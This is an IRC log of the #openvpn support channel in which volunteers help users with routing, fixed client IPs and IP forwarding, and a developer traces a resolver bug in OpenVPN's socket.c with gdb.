05:09 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
05:15 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
05:23 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
05:25 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds]
05:28 -!- tcamuso [tcamuso@nat/redhat/x-rxiruqcopdhvyezf] has joined #openvpn
05:30 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
05:32 -!- tcamuso [tcamuso@nat/redhat/x-rxiruqcopdhvyezf] has quit [Ping timeout: 248 seconds]
05:32 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
05:32 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
05:32 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
05:32 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
05:34 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has joined #openvpn
05:34 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has quit [Changing host]
05:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
05:34 -!- mode/#openvpn [+o dazo_afk] by ChanServ
05:34 -!- dazo_afk is now known as dazo
05:35 < MacGyver> plaisthos: http://pastebin.com/cxH76vEc\
05:35 < MacGyver> Without the trailing
05:39 -!- Anon2013 [~Anon2013@109.166.133.25] has joined #openvpn
05:39 < Anon2013> Hy everyone
05:39 < Anon2013> I'm trying to assign a fixed IP to one of the users via CCD .
05:39 < Anon2013> I've created a file with the username , and punched the one of the server's  IPs  - that failed so I went with an Internal IP
05:39 < Anon2013> To my understanding now I have to assign the external IP via iptablesor implement NAT . Is that correct ?
05:39 < MacGyver> http://pastebin.com/dGhqr5UG <-- Version with the variables you asked about last time printed.
05:45 -!- Anon2013 [~Anon2013@109.166.133.25] has quit [Ping timeout: 256 seconds]
05:46 -!- majo [~majo@89.244.146.150] has joined #openvpn
05:47 -!- majo is now known as mrgnz
05:47 -!- Anon2013 [~Anon2013@109.166.134.52] has joined #openvpn
05:48 < Anon2013> Hy everyone
05:48 -!- xbanux [~xbanux@115.254.75.113] has quit [Ping timeout: 256 seconds]
05:48 < Anon2013> I'm trying to assign a fixed IP to one of the users via CCD .
05:48 < Anon2013> I've created a file with the username , and punched the one of the server's  IPs  - that failed so I went with an Internal IP
05:48 < Anon2013> To my understanding now I have to assign the external IP via iptables or implement NAT . Is that correct ?
05:51 < KrissO> hi
05:51 < KrissO> it worked with me
05:51 < KrissO> I did ifconfig-push 10.8.0.0.2 255.255.255.0
05:52 < KrissO> with the name of the ccd file matching the CN of the client
05:53 < mrgnz> sorry to bother with my issue. I think it may be solved a lot of times but I have not been able to solve it myselv yet. I am trying to connect with openvpn to riseup.net. The connection is established and but the routing on my windows7 machine isnt routing the traffic through the vpn. I tried some suggested fixes but it keeps being this way.
05:53 < mrgnz> this is my config: http://p.trash-talk.de/?606ee92ca8d8abec#RnxKIJAIb6oN1PtNwXCui/++H1wz0VfHBDaktN7acRo=
05:53 <@vpnHelper> Title: ZeroBin (at p.trash-talk.de)
05:56 < mrgnz> and the log: http://p.trash-talk.de/?8024a2df1bdc8981#gUFmm+u34jVW4ziSwUUGg0nf9N1pI5gk6LU/E35RT40=
05:56 <@vpnHelper> Title: ZeroBin (at p.trash-talk.de)
05:59 < Anon2013> @KrissO so which one is the external server IP ?
06:00 < Anon2013> They both look internal to me .
06:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
06:01 < Anon2013> If you run a "my IP" on Google with the VPN on will you get ?
06:01 < mrgnz> do you ask me? Anon2013
06:01 < Anon2013> *what IP will you get
06:02 <@plaisthos> MacGyver: which version of openvpn are you running?
06:02 <@plaisthos> 2.3.0, master, 2.3.1?
06:03 < mrgnz> Anon2013, do you ask me?
06:03 -!- master_o1_master [~master_of@p4FF24AEE.dip.t-dialin.net] has joined #openvpn
06:03 < mrgnz> however I see another one than the vpn gui displays
06:05 < KrissO> Anon2013, hmm so you're not after a fixed VPN ip... you actually want the same WAN ip as your vpn? you want all your traffic routed through it?
06:06 -!- Anon2013 [~Anon2013@109.166.134.52] has quit [Ping timeout: 256 seconds]
06:06 < KrissO> as your server*
06:06 < KrissO> right.
06:06 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
06:07 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
06:07 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
06:07 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
06:07 -!- master_of_master [~master_of@p4FF2484E.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
06:07 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
06:08 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
06:10 < Moonlightning> From a client, can I get a list or a map of all the machines on the VPN? (It's a small VPN. XD )
06:10 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Read error: Operation timed out]
06:13 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
06:13 -!- KrissO [~krisso@109.179.212.107.tmi.telenormobil.no] has joined #openvpn
06:13 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
06:13 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
06:13 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
06:15 < mrgnz> This isnt working at all. very strange
06:16 < kisom> Moonlightning: Sure, but you'd have to program it yourself.
06:16  * Moonlightning blinks
06:16 < Moonlightning> Uhh…?
06:16 < Moonlightning> In other words, no?
06:17 < kisom> As in: There is no way for an OpenVPN client to pull the list of clients from the server
06:18 < Moonlightning> Hmm. Okay. How do I do it from the server, then?
06:18 < Moonlightning> …wait…
06:19 < Moonlightning> It's just this openvpn-status.log file, isn't it? XD
06:19 -!- KrissO- [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
06:19 -!- KrissO [~krisso@109.179.212.107.tmi.telenormobil.no] has quit [Disconnected by services]
06:20 < kisom> Probably
06:20 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
06:20 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
06:20 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
06:20 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
06:24 -!- u0m3 [~Radu@109.96.170.244] has joined #openvpn
06:27 < kisom> Moonlightning: I use the management interface to put together some statistics, which you can see here: https://stormhub.org/__admin/status.php
06:27 <@vpnHelper> Title: Status (at stormhub.org)
06:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:27 < MacGyver> plaisthos: OpenVPN 2.3.0 i686-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [eurephia] [MH] [IPv6] built on Mar 30 2013
06:28 < MacGyver> plaisthos: OpenVPN is single-threaded, right?
06:28 < kisom> MacGyver: Yes, it is
06:28 < MacGyver> plaisthos: So this *cannot* be an issue in that e.g. we're looking at the wrong thread?
06:29 <@plaisthos> MacGyver: yes it is single threaded
06:29 < MacGyver> Because every variable on that line is defined.
06:29 <@plaisthos> yeah that is what confusing me
06:30 < mrgnz> wow. changing from tap to tun solved it for me
06:30 < MacGyver> plaisthos: However, at that point in time, OpenVPN *is* forked and has a background process running as root (for plugin_down_root.so).
06:31 < MacGyver> plaisthos: Suppose plugin_down_root crashes.
06:31 < MacGyver> plaisthos: What happens?
06:31 <@plaisthos> openvpn should get a signal that the child process died
06:31 <@plaisthos> if it is really a fork
06:31 <@plaisthos> have not checked the source
06:32 < MacGyver> How can I check if it's *really* a fork, using e.g. ps?
06:34 < MacGyver> And anyway, that implies that openvpn can't just segfault because the child segfaults, right?
06:34 < MacGyver> If the child segfaults, the child should dump core and the parent should handle the signal?
06:35 -!- brute11k [~brute@89.249.231.191] has quit [Ping timeout: 240 seconds]
06:36 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
06:36 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
06:36 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
06:36 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
06:37 -!- brute11k [~brute@89.249.231.191] has joined #openvpn
06:39 -!- Cpt_Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
06:39 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
06:43 -!- Cpt_Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 260 seconds]
06:44 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
06:45 < MacGyver> Waaaaait a second...
06:45 < MacGyver> plaisthos: this looks wrong.
06:46 < MacGyver> plaisthos: But that might be because I don't understand what these variables are supposed to represent.
06:47 < MacGyver> __u6_addr8 has 16 values, __u6_addr16 8.
06:47 < MacGyver> Oh, wait.\
06:47 < MacGyver> The 8 and 16 are the width of each value.
06:47 < MacGyver> Nevermind >.<
06:47 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
06:48 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
06:48 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
06:48 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
06:54 -!- MarKsaitis [~MarKsaiti@194.168.211.114] has joined #openvpn
06:56 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 256 seconds]
07:08 -!- caraconan [~javi@95.63.97.179] has joined #openvpn
07:09 < caraconan> Hi all. I want to reach the private LAN of my VPN server, which is not the gateway of that LAN. I posted some data and questions here: http://paste.debian.net/246618/ . I would really appreciate if somebody points me on the right direction. Many thanks
07:17 < Dropje> !configs
07:17 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:17 < Dropje> caraconan: ^
07:18 < bkrieg1337> sorry i can't help, im stuck too
07:19 < caraconan> <Dropje> thanks so much, I will need some time. I'll come here later on, after lunch break
07:21 < MacGyver> plaisthos: I think I've got it.
07:22 < MacGyver> (gdb) p *ai
07:22 < MacGyver> $3 = {ai_flags = -1219951504, ai_family = -1219951504, ai_socktype = 0, ai_protocol = 0, ai_addrlen = 543973742,
07:22 < MacGyver>   ai_addr = 0x65636572, ai_canonname = 0x64657669 <Address 0x64657669 out of bounds>, ai_next = 0x72756420}
07:23 < MacGyver> plaisthos: Furthermore,
07:23 < MacGyver> (gdb) p *(ai->ai_addr)
07:23 < MacGyver> Cannot access memory at address 0x65636572
07:23 < MacGyver> Looks like ai is total bogus.
07:25 < MacGyver> Which kind of makes sense if resolution stops due to receiving a signal.
07:25 < MacGyver> In openvpn_getaddrinfo.
07:26 < MacGyver> And even though the process received a signal, it still returns status and continues in resolve_remote
07:26 < MacGyver> With the bogus-values in ai.
07:26 < MacGyver> Because signal-checking is done *after* that copy on line 1269.
07:26 < MacGyver> It should be done before.
07:27 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
07:27 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:37 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
07:38 < MacGyver> Hmm.
07:38 < me0615> good day krzee, I have resolved my question earlier this day with you. but may I ask what is the difference of using push direct instead that i making it outside openvpn?
07:38 < MacGyver> I'm considering preparing a patch, but I don't know if I should switch the statements, return a different value from getaddrinfo_openvpn, or add a signal handler inbetween.
07:44 < me0615> guys I would like to know what is the purpose of pushing directive like dhcp-option?
07:44 -!- MarKsaitis [~MarKsaiti@194.168.211.114] has quit [Quit: Leaving]
07:46 < MacGyver> Actually, the flow of that entire piece of code is screwed.
07:47 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:47 < MacGyver> Anyone care to take a look? socket.c, in master, lines 1264 through 1289
07:48 < MacGyver> The last if is unreachable code, the first if accesses random memory if a signal was received during address resolution.
07:57 -!- ceda__ [~fredrik@c83-248-146-227.bredband.comhem.se] has quit [Ping timeout: 240 seconds]
07:58 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has joined #openvpn
07:58 -!- caraconan [~javi@95.63.97.179] has quit [Ping timeout: 260 seconds]
08:00 -!- Mr_Worldwide [~Mr_Worldw@93.183.166.28] has joined #openvpn
08:01 < Mr_Worldwide> hey i really need help
08:01 < me0615> whats your concern?
08:03 < Mr_Worldwide> here in ubuntu when i connect to the www.vpngate.net servers with the openvpn config files after i shutdown the terminal and will enter the internet with my own connection the default route is not changed to the normal wlan
08:03 < Mr_Worldwide> i shutdown this but its already the vpn
08:04 < Mr_Worldwide> i must reboot before i can surf without the vpn
08:05 -!- me0615 [~me0615@122.2.46.76] has quit []
08:06 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
08:06 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
08:06 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
08:06 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
08:07 < Mr_Worldwide> can you gimme some help pls?
08:07 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:08 -!- d3c [~d3c@002131162181.mbb.telenor.dk] has joined #openvpn
08:09 < MacGyver> Have you added the redirect-gateway def1 directive, as you were told yesterday?
08:10 < Mr_Worldwide> i dont now on wich place i must add the .ovpn files from the vpngate.net project
08:10 <@plaisthos> MacGyver: but if resolution stop due to a signal result code should be non zero
08:10 < MacGyver> plaisthos: The code doesn't reflect that.
08:10 <@plaisthos> MacGyver: hm perhaps status is inialized with 0
08:11 < Mr_Worldwide> can test the files from vpngate.net project download it or so?
08:12 < Mr_Worldwide> than you can make a tutorial for me that would be nice
08:12 < Mr_Worldwide> im really newbie in ubuntu and openvpn
08:13 < jzaw> Mr_Worldwide, .ovpn files are .conf by another name
08:13 < MacGyver> plaisthos: -> openvpn-devel?
08:13 < Mr_Worldwide> yes clear but can you make a tutorial?
08:13 < Mr_Worldwide> in easy steps
08:13 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
08:14 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
08:14 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
08:14 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
08:14 < Mr_Worldwide> in which line i must add this and so on
08:15 < jzaw> http://openvpn.net/index.php/open-source/documentation/howto.html
08:15 <@vpnHelper> Title: HOWTO (at openvpn.net)
08:15 < bkrieg1337> anyone can provide me a guide for centos 6 64bit? thank you!
08:16 < jzaw> in general that .ovpn file can be renamed to .conf and placed in /etc/openvpn
08:18 < jzaw> bkrieg1337, giybf ... but this is for centos 5.5 64bit ... might be similar for 6
08:18 < jzaw> http://sohonetwork.blogspot.co.uk/2010/08/installing-openvpn-on-centos-55-x8664.html
08:18 <@vpnHelper> Title: Installing openvpn on centos 5.5 x86_64 | SOHO Network Management (at sohonetwork.blogspot.co.uk)
08:18 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has joined #openvpn
08:19 < bkrieg1337> thank you
08:20 < Volkswagner> Greetings, I have failed miserably trying to deploy DD-WRT router as OpenVPN client behind a second router.
08:20 -!- Mr_Worldwide [~Mr_Worldw@93.183.166.28] has quit [Ping timeout: 245 seconds]
08:21 < Volkswagner> I'd like to know if a plan B is possible.  Windows 7 Clients connect fine via OpenVPN.exe using WiFi and Tun adapter via routed
08:21 <@ecrist> sure
08:21 < jzaw> when using up or down directives to run scripts are variables other than br name device name and mtu passed to the script?
08:22 < Volkswagner> Would it be possible to utilize the LAN port on laptop to "share" the OpenVPN connection?
08:22 <@ecrist> don't even need to do that
08:22 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Connection reset by peer]
08:23 < Volkswagner> I tried to simply bridge the WiFi and LAN, but that seemed to bypass the vpn, I also tried to bridge the TUN adapter with LAN port, but there was not internet access.
08:23 < jzaw> bridge wifi and lan sure
08:24 < jzaw> but route to the tun
08:24 < jzaw> make sure you have forwarding turned on
08:24 < jzaw> !forwarding
08:24 < jzaw> !forward
08:26 < Volkswagner> thanks jzaw, would I need to configure the lan adapter as static ip first then create the bridge?
08:26 < Volkswagner> or do you think I may just not have forwarding enabled which is why my first attempt failed?
08:26 < jzaw> the latter
08:27 < jzaw> no reason (other than speed and reliablity) you cant just do it via wifi
08:27 < Volkswagner> I want to connect an ip phone to the LAN port
08:28 < jzaw> i presume you have a router?
08:28 < Volkswagner> the ip phone needs to connect via tunnel due to blocked services
08:29 -!- Mr_Worldwide [~Mr_Worldw@87.119.220.143] has joined #openvpn
08:29 < Volkswagner> Oh, perhaps forwarding is the reason my ddwrt attempt failed as well!
08:29 < jzaw> a static route in the router pointing at your pc (laptop?) running ovpn  would do fine
08:29 < Mr_Worldwide> perhaps i shutdown the tun0 or so?
08:29 < jzaw> as ddwrt is a router id expect it to ave forwarding =1
08:30 -!- mrgnz [~majo@89.244.146.150] has quit [Ping timeout: 248 seconds]
08:30 <@plaisthos> MacGyver: I will look into the signal stuff
08:30 < jzaw> Volkswagner, why not run ovpn in ddwrt?
08:30 < Mr_Worldwide> can anyone download an .ovpn config file from the www.vpngate.net project and say on how to add the config file or so pls?
08:31 < Volkswagner> jzaw, I was able to successfully get ddwrt to connect as a client, but not forward to it's lan connected clients
08:31 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:31 < Mr_Worldwide> perhaps you can see my proble
08:31 < jzaw> Volkswagner, in that case you did the hard bit
08:31 < jzaw> and just needed to fix routing
08:32 < Mr_Worldwide> when you download one of the files
08:32 < Mr_Worldwide> perhaps you can bette rhelp me when you download one of the files www.vpngate.net ?
08:33 < Mr_Worldwide> when you use linux like me than good
08:34 < Mr_Worldwide> than you can help me perhaps pls
08:39 < Mr_Worldwide> every time to shutdown the conmputer before i can surf without vpn thats to much timwaste and electricity much money since the new energies here in germany also
08:40 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
08:42 < Mr_Worldwide> come on have a heart for people like me
08:42 < Mr_Worldwide> im a windows user normally but to much viruses
08:44 < Mr_Worldwide> just download an config file from www.vpngate.net and see whats my proble pls?
08:46 < Mr_Worldwide> just one?
08:47 < Mr_Worldwide> come one please my english not so good that i can read the whole wiki from openvpn and you know come on pls
08:48 < Mr_Worldwide> thats makes happy today
08:49 < Mr_Worldwide> just a little smile on my face pls
08:49 < MacGyver> We TOLD you. Add the statement "redirect-gateway def1". ANYWHERE in that file.
08:49 < Mr_Worldwide> ok i try
08:50 < MacGyver> Stop whining for help, you're making me regret apologizing for my rant the other night.
08:51 -!- d3c [~d3c@002131162181.mbb.telenor.dk] has quit [Ping timeout: 255 seconds]
08:51 < MacGyver> If somebody reads your question, and knows the answer, he'll answer it when and how he feels like it. This is IRC, not your company's paid tech support desk. Whining doesn't do any good except annoy the people who could help you.
08:51 < Mr_Worldwide> but i must do that i every file i download from the site much works but thx
08:55 -!- Mr_Worldwide [~Mr_Worldw@87.119.220.143] has quit [Remote host closed the connection]
09:01 -!- Gruu_ [~Gruu_@213.211.132.86.static.edpnet.net] has quit [Quit: Gruu_]
09:02 <@ecrist> !ask
09:02 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
09:02 <@ecrist> !whining
09:02 <@ecrist> !learn whining as < MacGyver> If somebody reads your question, and knows the answer, he'll answer it when and how he feels like it. This is IRC, not your company's paid tech support desk.  Whining doesn't do any good except annoy the people who could help you.
09:02 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
09:02 <@ecrist> grr, fuck you vpnHelper
09:04 -!- u0m3 [~Radu@109.96.170.244] has quit [Read error: Connection reset by peer]
09:05 < bkrieg1337> this aint working rpm -Uvh /usr/src/redhat/RPMS/x86_64/lzo-*.rpm
09:05 < bkrieg1337> error: File not found by glob: /usr/src/redhat/RPMS/x86_64/lzo-*.rpm
09:05 < bkrieg1337> is there an alternative?
09:05 <@ecrist> you need to have the file there in order for that to work...
09:05 <@ecrist> also,
09:06 <@ecrist> !notovpn
09:06 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
09:07 < bkrieg1337> my problem is about openvpn
09:07 < bkrieg1337> im following this guide http://sohonetwork.blogspot.co.uk/2010/08/installing-openvpn-on-centos-55-x8664.html
09:07 <@vpnHelper> Title: Installing openvpn on centos 5.5 x86_64 | SOHO Network Management (at sohonetwork.blogspot.co.uk)
09:07 <@ecrist> you're problem is about installing LZO libraries on redhat
09:07 < bkrieg1337> i dont know
09:07 < bkrieg1337> im following the guide
09:07 <@ecrist> don't care about the guide
09:07 <@ecrist> we don't follow guides other than our own howto
09:07 <@ecrist> !howto
09:08 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:08 < bkrieg1337> the guide is for openvpn
09:08 <@ecrist> that's not a guide we wrote, bkrieg1337 
09:08 < bkrieg1337> <jzaw> provide it to me
09:08 <@ecrist> still not relevant
09:08 < bkrieg1337> ok
09:08 -!- u0m3 [~Radu@109.96.161.116] has joined #openvpn
09:09 < bkrieg1337> !commands
09:09 < bkrieg1337> !help
09:09 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
09:09 < bkrieg1337> !command
09:09 <@ecrist> !factoids
09:09 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
09:10 < Dropje> bkrieg1337: terrible tutorial you're following
09:10 < bkrieg1337> yeah its bad
09:10 -!- cherwin [~cherwin@robin.teqnix.nl] has joined #openvpn
09:10 < cherwin> Am I late to the party?
09:10 < bkrieg1337> im looking for centos 6.2 64
09:11 < cherwin> bkrieg1337: Man, you gave me a good laugh.
09:11 < bkrieg1337> why
09:11 < cherwin> bkrieg1337: Because that tutorial is crap
09:11 < bkrieg1337> yeah
09:12 < bkrieg1337> help me then :(
09:12 < cherwin> bkrieg1337: http://openvpn.net/index.php/open-source/documentation/howto.html
09:12 <@vpnHelper> Title: HOWTO (at openvpn.net)
09:12 < cherwin> bkrieg1337: These nice guys already helped you with the link I just gave you
09:12 < MacGyver> ecrist: I'm flattered you feel my comment should be immortalized :P
09:12 < bkrieg1337> okay
09:12 < bkrieg1337> <jzaw> lead me to the previous guide
09:12 < rob0> MacGyver, a help vampire. We seem to get a lot of those here. In fact when openvpn added Windows support, the mailing list became like Eternal September.
09:12 < rob0> !sweet
09:12 <@vpnHelper> "sweet" is http://sweet.nodns4.us/ =(
09:12 < bkrieg1337> :\
09:13 -!- Mr_Worldwide [~Mr_Worldw@87.119.220.143] has joined #openvpn
09:13 < Mr_Worldwide> not working
09:13 < jzaw> bkrieg1337, it was merely the first that google threwup re centos 64bit
09:13 < jzaw> you do have to do some reading yourself
09:14 <@ecrist> rob0: does your bot access work?
09:15 < MacGyver> Mr_Worldwide: Okay, then let's go back to what I asked you yesterday and you were afraid to do.
09:15 < MacGyver> Mr_Worldwide: Pastebin your routes, which you can print using the command `ip r'
09:15 < rob0> ecrist, I thought it was on the basis of cloak, and I don't have an openvpn cloak. I can try.
09:15 < Mr_Worldwide> ok i make
09:15 < MacGyver> Mr_Worldwide: Before, during, and after openvpn connection.
09:15 < rob0> !learn whining as < MacGyver> If somebody reads your question, and knows the answer, he'll answer it when and how he feels like it. This is IRC, not your company's paid tech support desk.  Whining doesn't do any good except annoy the people who could help you.
09:15 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
09:16 < cherwin> bkrieg1337: OpenVPN works on a technical level, security wise. You're bound to make other mistakes if you refuse to understand what you're doing.
09:16 <@ecrist> drat
09:16 < rob0> ecrist@freebsd/contributor/openvpn.community.support.ecrist <-- I bet it's the freebsd part
09:16  * ecrist fixes bot
09:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.]
09:17 <@plaisthos> !learn whining as < MacGyver> If somebody reads your question, and knows the answer, he'll answer it when and how he feels like it. This is IRC, not your company's paid tech support desk.  Whining doesn't do any good except annoy the people who could help you.
09:17 < Mr_Worldwide> https://privatepaste.com/d0601f7ab8
09:17 < rob0> plaisthos, too late :)
09:17 < rob0> but you probably could have done it
09:17 < jzaw> !whining
09:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
09:18 -!- mode/#openvpn [+o vpnHelper] by ChanServ
09:18 < MacGyver> Mr_Worldwide: Okay, that looks fine, that's the result of having redirect-gateway def1 in the configuration file.
09:18 <@ecrist> !learn whining as < MacGyver> If somebody reads your question, and knows the answer, he'll answer it when and how he feels like it. This is IRC, not your company's paid tech support desk.  Whining doesn't do any good except annoy the people who could help you.
09:18 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
09:18 <@ecrist> raaar
09:18 < jzaw> :D
09:18 <@ecrist> plaisthos: try again?
09:18 < MacGyver> Mr_Worldwide: Now, can you paste the routes you have *after* the VPN connection is closed?
09:19 < Mr_Worldwide> the terminal is alewady closed
09:19 < cherwin> ecrist: Ha, raar is Dutch for odd/strange
09:19 <@ecrist> it's an onomatopoeia here
09:19 <@ecrist> I probably spelled that wrong
09:19 < cherwin> Yeah
09:19 < MacGyver> Mr_Worldwide: That doesn't matter.
09:20 < jzaw> something that is spelt like its sound?  ecrist ?
09:20 < MacGyver> Mr_Worldwide: You can open another terminal, enter the command `ip r' there, it will give the information I'm asking for.
09:20 <@ecrist> jzaw: yes
09:20 < cherwin> ecrist: You spelled it correctly
09:20 < jzaw> cool
09:20 <@plaisthos> !learn whining as < MacGyver> If somebody reads your question, and knows the answer, he'll answer it when and how he feels like it. This is IRC, not your company's paid tech support desk.  Whining doesn't do any good except annoy the people who could help you.
09:20 <@vpnHelper> Joo got it.
09:20 < MacGyver> \o/
09:23 < Mr_Worldwide> https://privatepaste.com/dfbd33b273
09:23 < rob0> MacGyver, you're famous forever!
09:24 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has left #openvpn []
09:24 < Volkswagner> forward does not seem to be a valid directive for my windows client.   This is all I can find to enable forwarding http://openvpn.net/index.php/open-source/faq/77-server/265-how-do-i-enable-ip-forwarding.html
09:24 <@vpnHelper> Title: How do I enable IP forwarding? (at openvpn.net)
09:24 <@ecrist> MacGyver is forever associated with whining
09:25 < Volkswagner> I don't see any directive listed in the sample config either.
09:25 < Volkswagner> !ipforward
09:25 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
09:25 < Mr_Worldwide> MacGyver what now?
09:25 < Volkswagner> !winipforward
09:25 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
09:26 < MacGyver> Mr_Worldwide: It looks like the OpenVPN-process is failing to clean up its routes and tun-device (destruction of that *should* clear the routes automatically).
09:26 < MacGyver> Mr_Worldwide: Can you paste the output of `ps aux | grep openvpn'?
09:26 < MacGyver> It might still be running.
09:26 -!- Mr_Worldwide [~Mr_Worldw@87.119.220.143] has quit [Remote host closed the connection]
09:38 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
09:40 -!- Mr_Worldwide [~Mr_Worldw@93.183.166.28] has joined #openvpn
09:40 < Mr_Worldwide> server irankeys shutting down i must change the vpn server
09:42 < Mr_Worldwide> macgyver?
09:42 < Mr_Worldwide> what now
